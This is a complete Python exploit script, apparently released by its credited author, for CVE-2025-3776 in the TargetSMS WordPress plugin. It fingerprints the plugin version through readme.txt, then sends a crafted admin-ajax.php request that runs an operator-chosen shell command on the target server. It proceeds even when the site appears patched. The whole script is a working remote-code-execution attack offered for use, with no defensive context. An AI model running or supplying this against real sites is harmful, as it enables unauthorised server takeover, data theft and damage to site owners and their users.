import requests import argparse import re # Exploit By: Nxploited ( Khaled Alenazi ) def disable_ssl_warnings(): requests.packages.urllib3.disable_warnings() def setup_user_agent(): return "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" def parse_arguments(): parser = argparse.ArgumentParser(description='CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5 # Exploit by Nxploited ( Khaled Alenazi )') parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL") parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute (default: whoami)") return parser.parse_args() def prepare_session(user_agent): session = requests.Session() session.verify = False session.headers.update({"User-Agent": user_agent}) return session def normalize_url(base_url): return base_url.rstrip("/") def construct_readme_url(base_url): return f"{base_url}/wp-content/plugins/verification-sms-targetsms/readme.txt" def construct_exploit_url(base_url, cmd): return f"{base_url}/wp-admin/admin-ajax.php?cmd={cmd}" def construct_exploit_data(): return { "action": "targetvrHHndler", "callback": "evil" } def check_plugin_version(session, readme_url): try: response = session.get(readme_url, timeout=10) if response.status_code == 200: match = re.search(r"Stable tag:\s*([\d.]+)", response.text) if match: return float(match.group(1).strip()) return None except requests.RequestException: return None def is_plugin_vulnerable(version): return version is not None and version <= 1.5 def exploit(session, exploit_url, data): try: response = session.post(exploit_url, data=data, timeout=10) if "
" in response.text:
print("\n[+] Exploit succeeded!")
print(response.text.strip())
print("\nExploit By : Nxploited ( Khaled Alenazi )")
elif "status" in response.text and "false" in response.text:
print("[-] Exploit failed. Callback may not exist or plugin is patched.")
else:
print("[-] Unexpected response or server returned no valid output.")
except requests.RequestException as e:
print(f"[!] Error during exploitation: {e}")
def main():
disable_ssl_warnings()
user_agent = setup_user_agent()
args = parse_arguments()
session = prepare_session(user_agent)
base_url = normalize_url(args.url)
readme_url = construct_readme_url(base_url)
exploit_url = construct_exploit_url(base_url, args.cmd)
data = construct_exploit_data()
print("[*] Checking plugin version...")
version = check_plugin_version(session, readme_url)
if version:
print(f"[+] Plugin version detected: {version}")
if is_plugin_vulnerable(version):
print("[+] Plugin is vulnerable. Proceeding with exploitation...")
else:
print("[!] Plugin version > 1.5, may not be vulnerable. Attempting exploit anyway...")
else:
print("[!] Could not determine plugin version. Proceeding with blind exploitation...")
print("[*] Sending exploit request...")
exploit(session, exploit_url, data)
if __name__ == "__main__":
main()